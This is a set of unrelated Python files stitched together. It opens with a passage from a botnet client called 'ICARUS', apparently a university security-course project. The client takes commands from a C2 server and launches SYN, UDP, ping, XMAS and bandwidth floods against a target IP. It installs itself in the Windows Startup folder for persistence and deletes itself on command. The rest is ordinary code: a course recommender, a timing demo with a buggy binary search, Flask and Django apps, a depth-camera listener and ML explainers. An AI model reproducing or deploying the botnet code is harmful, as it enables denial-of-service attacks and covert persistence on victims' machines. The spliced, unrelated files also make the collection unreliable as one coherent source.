                              json={'id': self.bot_id, 'ip': self.ip, 'port': 25565})

    def main_loop(self):
        """
        This functions works as following: (1.1 for success, 1.2 for timeout)
            1. Listen for a request
                1.1 Receives a request, splits it into request, determines the status
                1.2 If it's status, respond with the status
                1.3 If it's attack, start the attack, respond with the status and details about the attack (type, ip, runtime)
                1.4 If it's stop, stop the attack and respond with the new status
            2. If it times out (30 seconds)
                2.1 disconnect with the webserver and ignore it.
                2.2 Go back to asking the nameserver for a IP address for a C2 server.
                2.3 If an error occurs (any at all), disconnect and re-connect to the nameserver.
        """
        self.status = 'IDLE'
        # Now we notify the C&C server of our existence
        init_message = {
            'ip': self.ip,
            'status': self.status,
            'id': self.bot_id,
            'bandwidth': self.uploadBandwidth,
            'runtime': self.attack_runtime,
            'target': self.target_ip
        }
        init_message = json.dumps(init_message)
        self.sock.sendto(str.encode(init_message), (self.c2_server_details[0], int(self.c2_server_details[1])))

        # Now we just listen for message requests.
        while True:
            try:
                # We now interact with this like any other object.
                self.sock.settimeout(10)
                jsonMsg = json.loads(self.sock.recv(4096).decode('ascii'))
                print(jsonMsg)
                request_type = jsonMsg['request']
                attack_type = jsonMsg['attack']
                target_ip = jsonMsg['targetIP']
                # These are contained in all packets, irrespective of status/attack/stop call.
                ports = jsonMsg['ports']
                runtime = jsonMsg['runtime']
                response = ''
                # Through each if statement, we specify what we're going to do. The logic is contained in each if.
                if request_type == 'status':
                    # All requests go through this response.
                    response = {
                        'ip': self.ip,
                        'status': self.status,
                        'id': self.bot_id,
                        'runtime': self.attack_runtime,
                        'bandwidth': self.uploadBandwidth,
                        'target': self.target_ip,
                        'error': 'none',
                        'exceptionsThrown': self.exceptionsThrown
                    }
                    response = json.dumps(response)
                elif request_type == 'attack':
                    try:
                        portList = ports[1:len(ports) - 1].split(",")
                        for n in range(0, len(portList)):
                            portList[n] = int(portList[n])
                        print(portList)
                        if attack_type in attackTypes:
                            self.attack_type = attack_type
                            self.status = "ATTACKING"
                            self.target_ip = target_ip

                        if attack_type == 'SYN_FLOOD':
                            # The following code is hilariously long and redundant, but who cares?
                            if self.mp is None:
                                self.mp = mp.Process(target=syn_flood.SYN_Flood,
                                                     args=(target_ip, NUM_PACKETS_TO_SEND, portList))
                                self.mp.start()
                            else:
                                self.mp.terminate()
                                self.mp = mp.Process(target=syn_flood.SYN_Flood,
                                                     args=(target_ip, NUM_PACKETS_TO_SEND, portList))
                                self.mp.start()
                        elif attack_type == 'XMAS_FLOOD':
                            if self.mp is None:
                                self.mp = mp.Process(target=xmas_attack.XMAS_Attack,
                                                     args=(target_ip, NUM_PACKETS_TO_SEND, portList))
                                self.mp.start()
                            else:
                                self.mp.terminate()
                                self.mp = mp.Process(target=xmas_attack.XMAS_Attack,
                                                     args=(target_ip, NUM_PACKETS_TO_SEND, portList))
                                self.mp.start()
                        elif attack_type == 'PING_FLOOD':
                            if self.mp is None:
                                self.mp = mp.Process(target=ping_flood.PING_Flood,
                                                     args=(target_ip, NUM_PACKETS_TO_SEND))
                                self.mp.start()
                            else:
                                self.mp.terminate()
                                self.mp = mp.Process(target=ping_flood.PING_Flood,
                                                     args=(target_ip, NUM_PACKETS_TO_SEND))
                                self.mp.start()
                        elif attack_type == 'UDP_FLOOD':
                            if self.mp is None:
                                self.mp = mp.Process(target=udp_flood.UDP_Flood,
                                                     args=(target_ip, NUM_PACKETS_TO_SEND, portList))
                                self.mp.start()
                            else:
                                self.mp.terminate()
                                self.mp = mp.Process(target=udp_flood.UDP_Flood,
                                                     args=(target_ip, NUM_PACKETS_TO_SEND))
                                self.mp.start()
                        elif attack_type == 'SCAN_FLOOD':
                            if self.mp is None:
                                self.mp = mp.Process(target=scan_flood.SCAN_Flood,
                                                     args=(target_ip, NUM_PACKETS_TO_SEND))
                                self.mp.start()
                            else:
                                self.mp.terminate()
                                self.mp = mp.Process(target=scan_flood.SCAN_Flood,
                                                     args=(target_ip, NUM_PACKETS_TO_SEND))
                                self.mp.start()
                        elif attack_type == 'BANDWIDTH_DDOS':
                            if self.mp is None:
                                self.mp = mp.Process(target=bandwidth_ddos.BANDWIDTH_ddos,
                                                     args=(target_ip, NUM_PACKETS_TO_SEND, portList, 65495))
                                self.mp.start()
                            else:
                                self.mp.terminate()
                                self.mp = mp.Process(target=bandwidth_ddos.BANDWIDTH_ddos,
                                                     args=(target_ip, NUM_PACKETS_TO_SEND, portList, 65495))
                                self.mp.start()
                        print("EXECUTING ATTACK:", attack_type)
                        response = {
                            'ip': self.ip,
                            'status': self.status,
                            'id': self.bot_id,
                            'runtime': self.attack_runtime,
                            'bandwidth': self.uploadBandwidth,
                            'target': self.target_ip,
                            'error': 'none',
                            'exceptionsThrown': self.exceptionsThrown
                        }
                        response = json.dumps(response)

                    except Exception as ex:
                        self.exceptionsThrown += 1
                        print("ERROR EXECUTING ATTACK", ex)
                        response = {
                            'ip': self.ip,
                            'status': self.status,
                            'id': self.bot_id,
                            'runtime': self.attack_runtime,
                            'bandwidth': self.uploadBandwidth,
                            'target': self.target_ip,
                            'error': 'failed_starting_attack',
                            'exceptionsThrown': self.exceptionsThrown
                        }
                        response = json.dumps(response)
                elif request_type == 'stop':
                    if self.mp is not None:
                        self.mp.terminate()
                    # notification("STOPPED")
                    self.status = "IDLE"
                    self.attack_type = "none"
                    self.target_ip = "none"
                    response = {
                        'ip': self.ip,
                        'status': self.status,
                        'id': self.bot_id,
                        'runtime': self.attack_runtime,
                        'bandwidth': self.uploadBandwidth,
                        'target': self.target_ip,
                        'error': 'none',
                        'exceptionsThrown': self.exceptionsThrown
                    }
                    response = json.dumps(response)

                # This will then send the message back to the server, irrespective of the flag.
                elif request_type == 'kill':
                    self.status = "DEAD"
                    # notification("DEAD")
                    response = {
                        'ip': self.ip,
                        'status': self.status,
                        'id': self.bot_id,
                        'runtime': self.attack_runtime,
                        'bandwidth': self.uploadBandwidth,
                        'target': self.target_ip,
                        'error': 'none',
                        'exceptionsThrown': self.exceptionsThrown
                    }
                    response = json.dumps(response)
                    self.sock.sendto(str.encode(response), (self.c2_server_details[0], int(self.c2_server_details[1])))
                    remove(argv[0])
                    sys.exit(0)
                time.sleep(2)
                self.sock.sendto(str.encode(response), (self.c2_server_details[0], int(self.c2_server_details[1])))
            except timeout:
                # the server has lagged out
                print("timeout")
                return
            except Exception as ex:
                print("EXCEPTION", ex)
                self.exceptionsThrown += 1
                return

    #
    # def lookup(self):
    #     """sends request to nameserver to get command ip and port"""
    #     r = requests.get(f'{API_URL}/api/lookup/bot/{self.bot_id}')
    #     if (r.status_code == 200):
    #         self.command_ip, self.command_port = r.text.split('::')
    #         print(self.command_ip)
    #         print(self.command_port)
    #
    # def update(self):
    #     """updates nameserver with ip and port"""
    #     self.update_thread.start()

    #
    # def start(self):
    #     self.update()
    #
    # def notification(self, param):
    #     pass

def notification(action):
    """opens windows notification"""
    # toast = ToastNotifier()
    title = ""
    body = ""
    if action == "STARTED":
        title = "ICARUS BOT STARTED"
        body = "I NOW HAVE FULL ACCESS TO YOUR SYSTEMS (COMS4507)"
    elif action == "CONNECTED":
        title = "ICARUS CONNECTED TO C2 SERVER"
        body = "NOTHING TO WORRY ABOUT"
    elif action == "ATTACKING":
        title = "ICARUS BOT ATTACKING"
        body = "I AM ATTACKING."
    elif action == "STOPPED":
        title = "ICARUS HAS STOPPED"
        body = "I HAVE STOPPED ATTACKING."
    elif action == "DEAD":
        title = "ICARUS IS DELETING ITSELF"
        body = "THANK YOU FOR RUNNING THIS. I AM NOW DELETING MYSELF"
    else:
        title = "ICARUS BOT CALLED OFF"
        body = "The bot finished its job"

    toast.show_toast(
        title,
        body,
        icon_path="icarus.ico",
        duration=5,
        threaded=True,
    )

def add_to_startup(file_path=""):
    # This will add it to the startup folder.
    if file_path == "":
        file_path = os.path.realpath(sys.argv[0])
    exe_path = f"{os.environ['SYSTEMDRIVE']}\\Users\\{getpass.getuser()}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{BOT_ID_NAME}.exe"
    # only copy across if startup directory exists and file doesn't
    if os.path.exists(os.path.dirname(exe_path)) and not os.path.exists(exe_path):
        shutil.copy(file_path, exe_path)

#
def main():

    IcarusBot()

if __name__ == "__main__":
    mp.freeze_support()
    main()


from nltk.tokenize import word_tokenize
import gensim
import numpy as np
import pandas as pd

def recommend_materials(project_description):
    """
    Return list of maps of format:
        "course_link": mat["course_link"],
        "lesson_name": mat["lesson_name"]
    """
    dictionary = gensim.corpora.Dictionary.load("gensim/coursera_gensim_dict.dict")
    tf_idf = gensim.models.TfidfModel.load("gensim/coursera_gensim_tfidf.model")
    sims = gensim.similarities.Similarity.load("gensim/coursera_gensim_sims.sims")

    query_doc = [w.lower() for w in word_tokenize(project_description)]
    query_doc_bow = dictionary.doc2bow(query_doc)

    query_doc_tf_idf = tf_idf[query_doc_bow]
    ranked_lectures = np.argsort(sims[query_doc_tf_idf])[::-1]

    df = pd.read_csv("coursera_data.csv")
    best_lectures_info = df.iloc[ranked_lectures[:5]]

    return [{"course_link": row["course_link"], "lesson_name": row["lesson_name"]} for _, row in best_lectures_info.iterrows()]


import time

def timer(iterations=100):
    def decorator(fn):
        def wrapper(*a, **kwa):
            total = 0
            for _ in range(iterations):
                start = time.time()
                fn(*a, **kwa)
                end = time.time()
                total += end-start
            print(
                f"Function: {fn.__name__}",
                f"\t{iterations} iterations: {total:0.6f}s",
                f"\tper iteration: {total/iterations}s",
                sep="\n"
            )
            return total
        return wrapper
    return decorator

# option 1: Naive Search
@timer(iterations=1_000)
def naive_search(item, the_list):
    return item in the_list

# option 2: Binary Search
@timer(iterations=1_000)
def binary_search(item, the_list):
    low = 0
    high = len(the_list) - 1

    while low <= high:
        middle = low + (high - low) // 2

        if the_list[middle] == the_list:
            return middle
        elif the_list[middle] < item:
            low = middle + 1
        else:
            high = middle - 1
    return -1

d1 = naive_search(
    50_000,
    [i for i in range(100_000)])
d2 = binary_search(
    50_000,
    [i for i in range(100_000)])

print(f"Improvement: {100*((d1/d2)-1):.0f}%, aka {int(d1/d2)} times faster")


from mysqlconnection import connectToMySQL

class Friend:
    DB = "first_flask"
    def __init__(self, data):
        self.id = data['id']
        self.first_name = data['first_name']
        self.last_name = data['last_name']
        self.occupation = data['occupation']
        self.created_at = data['created_at']
        self.updated_at = data['updated_at']

    #CREATE
    @classmethod
    def save(cls, data):
        query = """INSERT INTO friends (first_name, last_name, occupation, created_at, updated_at)
                VALUES (%(fname)s, %(lname)s, %(occ)s, NOW(), NOW());"""
        return connectToMySQL(cls.DB).query_db(query, data)

    #READ
    @classmethod
    def get_all(cls): #retrieves all rows of the table
        query = "SELECT * FROM friends;"
        results = connectToMySQL(cls.DB).query_db(query)
        friends = []
        for friend in results:
            friends.append (cls(friend))
        return friends

    @classmethod
    def get_one(cls, friend_id): #retrieves one row of the table
        query = "SELECT * FROM friends WHERE id = %(id)s;"
        data = {'id': friend_id}
        results = connectToMySQL(cls.DB).query_db(query, data)
        return cls(results[0])

    # UPDATE
    @classmethod
    def update(cls, data):
        query = """
                UPDATE friends
                SET first_name = %(first_name)s, last_name = %(last_name)s, email = %(email)s
                WHERE id = %(id)s;
                """
        return connectToMySQL(cls.DB).query_db(query, data)

    # DELETE
    @classmethod
    def delete(cls, friend_id):
        query = """
                DELETE FROM friends
                WHERE id = %(id)s;
                """
        data = {"id": friend_id}
        return connectToMySQL(cls.DB).query_db(query, data)


from django.core.management.base import BaseCommand, CommandError
import os, requests
from cbimporter.models import cb_portfolio

TILL_URL = os.environ.get("TILL_URL")

class Command(BaseCommand):
	def handle(self, *args, **options):
		cb_portfolio.update_all()
		if cb_portfolio.is_high():
			cb_portfolio.update_high()
			sms_text = 'New High!\nTotal Value: %s'%(round(cb_portfolio.total_value,2))
			for account in cb_portfolio.account_set.all():
				sms_text += '\n%s: %s'%(account.currency, round(account.price, 2))
			requests.post(TILL_URL, json={
			    "phone": os.environ.get("CELL_PHONE"),
			    "text" : sms_text
			})


#iniciamos el proyecto
from  Posts.Post1 import *
from Posts.Post2 import *
from flask import Flask,request
from flask_cors import CORS
from Probabilidades import *

app = Flask(__name__)
CORS(app) #restringimos y aseguramos solicitudes http externas

@app.route('/')

def home():
    return 'Hello, world!'

@app.route('/Configuracion', methods=['POST'])
def ProfileDesc():
    # Obtener los datos enviados en la solicitud en un string
    DatosXML = request.data
    #print(DatosXML)
    Solicitud1 = Peticion1()

    Solicitud1.LecturaXML(DatosXML,True)
    respuesta = Solicitud1.RespuestaS1()
    return respuesta

@app.route('/Mensajes', methods=['POST'])
def Mensajes():
    Solicitud2 = Peticion2()

    DatosXML = request.data  # rconoce las tildes
    Solicitud2.LeerXML(DatosXML,True,False)
    respuesta = Solicitud2.RespuestaS2()
    return respuesta

@app.route('/MensajesUsuarios', methods=['GET'])
def Tablas():
    Solicitud2 = Peticion2()
    Solicitud1 = Peticion1()

    Solicitud1.CargarBase()
    Solicitud2.CargarBase(True)
    pro = Probabilidad(Solicitud2.ListaMensajes,Solicitud1.Perfiles,Solicitud1.Descartadas,Solicitud2.Usuarios,Solicitud1.NombresPerfiles,'','')
    pro.AnalizarMensaje(True)

    respuesta = pro.respuesta()

    return respuesta

@app.route('/FiltroUsuarios', methods=['POST'])
def FiltroUsuarios():
    Solicitud2 = Peticion2()
    Solicitud1 = Peticion1()
    usuario = str(request.data)
    usuario = usuario.replace("b", "").replace("'", "")

    print('--->'+usuario+'<----')
    Solicitud1.CargarBase()
    Solicitud2.CargarBase(True)
    pro = Probabilidad(Solicitud2.ListaMensajes,Solicitud1.Perfiles,Solicitud1.Descartadas,Solicitud2.Usuarios,Solicitud1.NombresPerfiles,usuario,'')
    pro.AnalizarMensaje(True)

    respuesta = pro.respuesta()

    return respuesta

@app.route('/FiltroFechas', methods=['POST'])
def FiltroFechas():
    Solicitud2 = Peticion2()
    Solicitud1 = Peticion1()
    fecha = str(request.data)
    fecha = fecha.replace("b", "").replace("'", "")

    print('--->'+fecha+'<----')
    Solicitud1.CargarBase()
    Solicitud2.CargarBase(True)
    pro = Probabilidad(Solicitud2.ListaMensajes,Solicitud1.Perfiles,Solicitud1.Descartadas,Solicitud2.Usuarios,Solicitud1.NombresPerfiles,'',fecha)
    pro.AnalizarMensaje(True)

    respuesta = pro.respuesta()

    return respuesta

@app.route('/GetPesos', methods=['GET'])
def Pesos():
    Solicitud2 = Peticion2()
    Solicitud1 = Peticion1()

    Solicitud1.CargarBase()
    Solicitud2.CargarBase(True)
    pro = Probabilidad(Solicitud2.ListaMensajes,Solicitud1.Perfiles,Solicitud1.Descartadas,Solicitud2.Usuarios,Solicitud1.NombresPerfiles,'','')
    pro.AnalizarMensaje(False)
    pro.PesosUsuarioPerfil()
    respuesta = pro.respuesta()

    return respuesta

@app.route('/PesosUsuarios', methods=['POST'])
def PesosU():
    Solicitud2 = Peticion2()
    Solicitud1 = Peticion1()

    usuario = str(request.data)
    print(usuario)
    usuario = usuario.replace("b", "").replace("'", "")

    Solicitud1.CargarBase()
    Solicitud2.CargarBase(True)
    pro = Probabilidad(Solicitud2.ListaMensajes,Solicitud1.Perfiles,Solicitud1.Descartadas,Solicitud2.Usuarios,Solicitud1.NombresPerfiles,usuario,'')
    pro.AnalizarMensaje(False)
    pro.PesosUsuarioPerfil()
    respuesta = pro.respuesta()

    return respuesta

@app.route('/MensajesP', methods=['POST'])
def MensajesP():

    Solicitud2 = Peticion2()

    DatosXML = request.data  # rconoce las tildes
    Solicitud2.LeerXML(DatosXML,True,False)
    respuesta = Solicitud2.RespuestaP()
    return respuesta

@app.route('/BorrarBase', methods=['GET'])
def Borrar():

  with open("server\DataBase\Mensajes.xml", "w") as f:
            f.write("")

  with open("server\DataBase\PerfilesDescartes.xml", "w") as f:
            f.write("")

  return "El contenido del archivo ha sido borrado exitosamente."

if __name__ == '__main__':
    app.run(debug=True)


import collections
import queue
from typing import Optional

from picoflexx import roypy
from picoflexx.royale.extension import roypycy
from picoflexx.roypy import DepthData
from ..frames.depth_frame import DepthFrame
from ..frames.ir_frame import IRFrame

FramePair = collections.namedtuple("FramePair", ["ir", "depth"])

class DepthDataListener(roypy.IDepthDataListener):
    current_index = 0

    def __init__(self, queue: queue.Queue):
        """
        Instantiate the DepthDataListener with the given queue.

        :param queue: The queue to which FramePairs will be added - usually has
         a size limit of 1
        """

        super().__init__()
        self.queue = queue
        self._ir_ref = None

        self._data_depth = None  # type: Optional[DepthData]
        self._data_ir = None  # type: Optional[roypycy.PyIrImage]

    def _check_frame(self):
        """
        Checks if the next depth and ir frame pair have arrived.

        If this is the case and the queue isn't full, add them to the queue.
        """

        if self._data_depth is None or self._data_ir is None:
            return
        if roypycy.get_depth_data_ts(self._data_depth) != self._data_ir.timestamp:
            return

        try:
            frame_depth = DepthFrame(self._data_depth)
            frame_ir = IRFrame(self._data_ir)
            frame_depth.index = frame_ir.index = self.current_index
            self.current_index += 1

            self.queue.put(FramePair(ir=frame_ir, depth=frame_depth), block=False)
        except queue.Full:
            pass  # dropping frame pair
        except Exception:
            import traceback

            traceback.print_exc()

        self._data_depth = None
        self._data_ir = None

    def onNewData(self, data: DepthData):
        self._data_depth = data
        self._check_frame()

    def onNewIrData(self, data: roypycy.PyIrImage):
        self._data_ir = data
        self._check_frame()


# (c) 2016 Max Planck Society
# see accompanying LICENSE.txt file for licensing and contact information

"""
Author(s): Gerard Pons-Moll, Javier Romero

See LICENCE.txt for licensing and contact information.
"""

from experiments.gerard.utils import data_paths
import numpy as np
from os.path import join
if __name__ == '__main__':
    save_path =  './data/'
    dp = data_paths(gender = 'male')
    smpl_v = dp.get_smpl()

    # Save the smpl mesh
    np.save(join(save_path,'verts.npy'),smpl_v.r)
    np.save(join(save_path,'faces.npy'),smpl_v.f)

    # Save two different shapes
    shape1 = smpl_v.pose_subjects[0]['v_template']
    shape2 = smpl_v.pose_subjects[8]['v_template']
    np.save(join(save_path,'shape1.npy'),shape1)
    np.save(join(save_path,'shape2.npy'),shape2)

    # Save two different poses
    p1 = smpl_v.pose_subjects[8]['pose_parms'][0]
    t1 = smpl_v.pose_subjects[8]['trans_parms'][0]
    p2 = smpl_v.pose_subjects[8]['pose_parms'][2]
    t2 = smpl_v.pose_subjects[8]['trans_parms'][2]
    smpl_v.pose[:] = p1
    smpl_v.trans[:] = t1
    dp.get_mesh(smpl_v.r).show()
    np.save(join(save_path,'pose1.npy'),smpl_v.r)
    smpl_v.pose[:] = p2
    #smpl_v.trans[:] = t2
    dp.get_mesh(smpl_v.r).show()
    np.save(join(save_path,'pose2.npy'),smpl_v.r)

    # Save two different shape and pose
    smpl_v = dp.get_smpl()
    np.save(join(save_path,'pose_shape1.npy'),smpl_v.r)
    dp.get_mesh(smpl_v.r).show()
    p3 = smpl_v.pose_subjects[0]['pose_parms'][1]
    t3 = smpl_v.pose_subjects[0]['trans_parms'][1]
    shape3 = smpl_v.pose_subjects[0]['v_template']
    smpl_v.pose[:] = p3
    #smpl_v.trans[:] = t3
    smpl_v.v_template[:] = shape3
    np.save(join(save_path,'pose_shape2.npy'),smpl_v.r)
    dp.get_mesh(smpl_v.r).show()


from abc import ABC, abstractmethod
from turtle import color
from typing import Union
import os, pickle
from skimage.measure import block_reduce
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from interpretable_ts_clustering.models.classification import DecisionTreeWrapper, XGBWrapper
import tensorflow as tf
from interpretable_ts_clustering.visualization.shap_features import shap_method_dict

def visualize_explanations(config, model, X, y_true, y_pred, wandb):
    """ Saves visualizations of local explanations """
    if config['CLASSIFICATION_MODEL'] == 'fcn':
        cam_explainer = CAMExplainer(config, model)
        cam_explainer.compute_contributions(X)
        cam_explainer.visualize_contributions(y_true, y_pred, wandb)

    elif config['CLASSIFICATION_MODEL'] == 'xgb':
        shap_explainer = SHAPExplainer(config, model)
        shap_explainer.compute_contributions(X, method_name='treeshap')
        shap_explainer.visualize_contributions(y_true, y_pred, wandb)
        feat_explainer = FeatImpExplainer(config, model)
        feat_explainer.compute_contributions()
        feat_explainer.visualize_contributions(wandb)

class Explainer(ABC):
    def __init__(self, config: dict, model) -> None:
        super().__init__()
        self.config = config
        self.model = model

    @abstractmethod
    def compute_contributions(self, X):
        pass

    def visualize_global_feat_imp(self, feat_imps, title, wandb=None):
        history_size = len(feat_imps)
        x_range = list(range(0, history_size))
        # x_ticks = list(range(-history_size, 0))
        x_ticks = list(range(0, history_size))
        fig, ax = plt.subplots()
        ax.plot(x_range, feat_imps)
        ax.plot(x_range, self.aggregate_windows(feat_imps), 'r-')
        ax.set_ylabel(f'{title} Feature Importance')
        ax.set_xlabel('History')
        plt.xticks(x_range, x_ticks)
        plt.locator_params(axis='x', nbins=10)
        plt.title(f'{title} Feature Importance')
        if wandb is not None:
            save_dir = os.path.join(wandb.run.dir, 'global_explanations')
            os.makedirs(save_dir, exist_ok=True)
            fig.savefig(os.path.join(save_dir, f'{title}_feature_importance.png'))
        else:
            plt.show()

    def save(self, SAVE_DIR: str, file_name='contributions.pickle'):
        file_path = os.path.join(SAVE_DIR, file_name)
        pickle.dump(self.config, open(file_path, 'wb'))

    def load(self, SAVE_DIR: str, file_name='contributions.pickle'):
        file_path = os.path.join(SAVE_DIR, file_name)
        self.contributions = pickle.load(open(file_path, 'rb'))

    @staticmethod
    def aggregate_windows(x: np.ndarray, split_size=10):
        """ Creates windows of mean values
        x (np.ndarray): 1D array
        split_size (int): split window size
        """
        total_window_size = len(x)
        # https://stackoverflow.com/questions/15956309/averaging-over-every-n-elements-of-a-numpy-array
        x_reduced = block_reduce(x, block_size=(split_size,),
                                    func=np.mean,
                                    cval=np.mean(x))

        x_repeat = np.repeat(x_reduced, split_size)
        x_trimmed = x_repeat[:total_window_size]
        return x_trimmed

class GiniTreeExplainer(Explainer):
    def __init__(self, config: dict, model: Union[XGBWrapper, DecisionTreeWrapper]) -> None:
        super().__init__(config, model)

    def compute_contributions(self, ):
        # contributions = (features,)
        self.contributions = self.model.model.feature_importances_

    def visualize_contributions(self, wandb=None):
        self.visualize_global_feat_imp(self.contributions, 'gini', wandb)

class CAMExplainer(Explainer):
    def __init__(self, config: dict, model) -> None:
        super().__init__(config, model)

    def compute_contributions(self, X):
        grad_model = tf.keras.Model(
        inputs=[self.model.model.inputs],
        outputs=[self.model.model.layers[10].output,
        self.model.model.output])

        with tf.GradientTape() as tape:
            (conv_outputs, predictions) = grad_model(X)
            loss = predictions[:,0]
            grads = tape.gradient(loss, conv_outputs)
            casted_conv_outputs = tf.cast(conv_outputs > 0, "float32")
            casted_grads = tf.cast(grads > 0, "float32")

            guided_grads = casted_conv_outputs * casted_grads * grads

            weights = tf.reduce_mean(guided_grads, axis=(0, 1))
            cam = tf.reduce_sum(tf.multiply(weights, conv_outputs), axis=-1)

        # samples = X
        samples =  np.squeeze(X)
        self.contributions = (cam, samples)

    def visualize_contributions(self, y_true, y_pred, wandb=None):
        labels = np.unique(y_true)
        cam, samples = self.contributions

        history_size = samples.shape[1]
        x_range = list(range(0, history_size))
        # x_ticks = list(range(-history_size, 0))
        x_ticks = list(range(0, history_size))

        # Visualize single sample contributions
        for i in range(20):
            if y_true[i] != y_pred[i]:
                continue

            sample_contributions = np.abs(cam.numpy()[i])
            y_class = y_true[i]

            y_range_series = [np.min(samples) - 0.1, np.max(samples) + 0.1]
            y_range_contrib = [np.min(cam), np.max(cam)]
            fig, ax1 = plt.subplots()
            ax1.plot(x_range, samples[i], color='blue')
            ax1.set_ylabel('Time Series')
            ax1.set_ylim(y_range_series)

            plt.xticks(x_range, x_ticks)
            plt.locator_params(axis='x', nbins=10)
            plt.xlabel('History')
            plt.title(f'Sample: {i} from Cluster: {y_class}')

            ax2 = ax1.twinx()
            ax2.fill_between(x_range, [0 for _ in range(len(x_range))],
                sample_contributions,
                alpha=0.5, edgecolor='red', facecolor='red')
            ax2.set_ylabel('Contributions')
            ax2.set_ylim(y_range_contrib)
            fig.tight_layout()

            if wandb is not None:
                save_dir = os.path.join(wandb.run.dir, 'cam_local_explanations')
                os.makedirs(save_dir, exist_ok=True)
                fig.savefig(os.path.join(save_dir,
                         f'sample_{i}_cluster_{y_class}.png'))
            else:
                plt.show()

        # aggregate local explanations
        n_samples = self.config["PLOT_MAX_SAMPLES"]

        for label in labels:
            label_samples_idxs = np.where(y_pred == label)[0][:n_samples]
            sample_contributions = np.abs(cam.numpy()[label_samples_idxs])
            mean_absolute_contributions = np.mean((sample_contributions), axis=0)
            fig, axs = plt.subplots(2, 1, sharex=True)
            plt.xticks(x_range, x_ticks)
            plt.locator_params(axis='x', nbins=10)

            for sample_contrib in sample_contributions:
                axs[0].plot(sample_contrib, "k-", alpha=.2)
            axs[0].plot(self.aggregate_windows(mean_absolute_contributions), "r-")
            # ax.plot(mean_absolute_contributions, "r-")
            axs[0].set_ylabel('CAM values')
            axs[0].set_title(f'Mean feature importance for cluster: {label}')

            for sample in samples[label_samples_idxs]:
                axs[1].plot(sample, "k-", alpha=.2)
            axs[1].set_ylabel('Feature value')
            axs[1].set_title(f'Samples from cluster: {label}')

            if wandb is not None:
                save_dir = os.path.join(wandb.run.dir, 'cam_aggregate_local_explanations')
                os.makedirs(save_dir, exist_ok=True)
                fig.savefig(os.path.join(save_dir,
                         f'cluster_{label}.png'))
            else:
                plt.show()

class FeatImpExplainer(Explainer):
    def __init__(self, config: dict, model) -> None:
        super().__init__(config, model)
    def compute_contributions(self):
        self.feat_imps = self.model.model.feature_importances_
    def visualize_contributions(self, wandb=None):
        plt.plot(self.feat_imps, color="r")
        plt.xlabel("Timestep")
        plt.xlabel("Feature Importance")

        if wandb is not None:
            save_dir = os.path.join(wandb.run.dir, 'feature_importances')
            os.makedirs(save_dir, exist_ok=True)
            plt.savefig(os.path.join(save_dir,
                        f'feat_imp.png'))
        else:
            plt.show()

class SHAPExplainer(Explainer):
    def __init__(self, config: dict, model) -> None:
        super().__init__(config, model)

    def compute_contributions(self, X, method_name: str,
                              nsamples=100000, random_state=0):
        shap_val, samples = shap_method_dict[method_name](self.model.model, X,
                                                          nsamples,
                                                          random_state)
        self.contributions = (shap_val, samples)

    def visualize_contributions(self, y_true, y_pred,wandb=None,  nsamples=None):
        shap_val, samples = self.contributions
        history_size = samples.shape[1]
        x_range = list(range(0, history_size))
        # x_ticks = list(range(-history_size, 0))
        x_ticks = list(range(0, history_size))
        # Visualize global explanation
        global_shap_vals = np.abs(shap_val).sum(axis=0).sum(axis=0)
        # taking sum over all samples
        self.visualize_global_feat_imp(global_shap_vals, 'shap', wandb)
        # Visualize single sample contributions

        for i in range(20):
            if y_true[i] != y_pred[i]:
                continue

            sample_contributions = shap_val[y_true[i], i, :]
            y_class = y_true[i]

            y_range_series = [np.min(samples) - 0.1, np.max(samples) + 0.1]
            y_range_contrib = [np.min(shap_val), np.max(shap_val)]
            fig, ax1 = plt.subplots()
            ax1.plot(x_range, samples[i], color='blue')
            ax1.set_ylabel('Time Series')
            ax1.set_ylim(y_range_series)

            plt.xticks(x_range, x_ticks)
            plt.locator_params(axis='x', nbins=10)
            plt.xlabel('History')
            plt.title(f'Sample: {i} from Cluster: {y_class}')

            ax2 = ax1.twinx()
            ax2.fill_between(x_range, [0 for _ in range(len(x_range))],
                sample_contributions,
                alpha=0.5, edgecolor='blue', facecolor='blue')
            ax2.set_ylabel('Contributions')
            ax2.set_ylim(y_range_contrib)
            fig.tight_layout()

            if wandb is not None:
                save_dir = os.path.join(wandb.run.dir, 'local_explanations')
                os.makedirs(save_dir, exist_ok=True)
                fig.savefig(os.path.join(save_dir,
                         f'sample_{i}_cluster_{y_class}.png'))
            else:
                plt.show()

        # Visualize window aggregate contributions

        labels = np.unique(y_true)
        for label in labels:
            # go by cluster
            label_samples_idxs = np.where(y_pred == label)[0]
            sample_contributions = np.abs(shap_val[label, label_samples_idxs])
            mean_absolute_contributions = np.mean(np.abs(sample_contributions), axis=0)

            fig, ax = plt.subplots()
            plt.xticks(x_range, x_ticks)
            plt.locator_params(axis='x', nbins=10) # is 10 good for any scenario

            for sample_contrib in sample_contributions:
                ax.plot(sample_contrib, "k-", alpha=.2)
            ax.plot(self.aggregate_windows(mean_absolute_contributions), "r-")
            # ax.plot(mean_absolute_contributions, "r-")
            ax.set_ylabel('Feature Importances')
            ax.set_title(f'Mean feature importance for cluster: {label}')

            if wandb is not None:
                save_dir = os.path.join(wandb.run.dir, 'aggregate_local_explanations')
                os.makedirs(save_dir, exist_ok=True)
                fig.savefig(os.path.join(save_dir,
                         f'cluster_{label}.png'))
            else:
                plt.show()

        # Side by side aggregate figures
        labels = np.unique(y_true)
        for label in labels:
            label_samples_idxs = np.where(y_pred == label)[0]
            sample_contributions = np.abs(shap_val[label, label_samples_idxs])
            mean_absolute_contributions = np.mean(np.abs(sample_contributions), axis=0)

            fig, axs = plt.subplots(2, 1, sharex=True)
            plt.xticks(x_range, x_ticks)
            plt.locator_params(axis='x', nbins=10)

            for sample_contrib in sample_contributions:
                axs[0].plot(sample_contrib, "k-", alpha=.2)
            axs[0].plot(self.aggregate_windows(mean_absolute_contributions), "r-")
            # ax.plot(mean_absolute_contributions, "r-")
            axs[0].set_ylabel('Feature Importances')
            axs[0].set_title(f'Mean feature importance for cluster: {label}')

            for sample in samples[label_samples_idxs]:
                axs[1].plot(sample, "k-", alpha=.2)
            axs[1].set_ylabel('Feature value')
            axs[1].set_title(f'Samples from cluster: {label}')

            if wandb is not None:
                save_dir = os.path.join(wandb.run.dir, 'aggregate_local_explanations')
                os.makedirs(save_dir, exist_ok=True)
                fig.savefig(os.path.join(save_dir,
                         f'cluster_{label}.png'))
            else:
                plt.show()

def normalize_data(data):
    return ((data - np.min(data)) / (np.max(data) - np.min(data)))

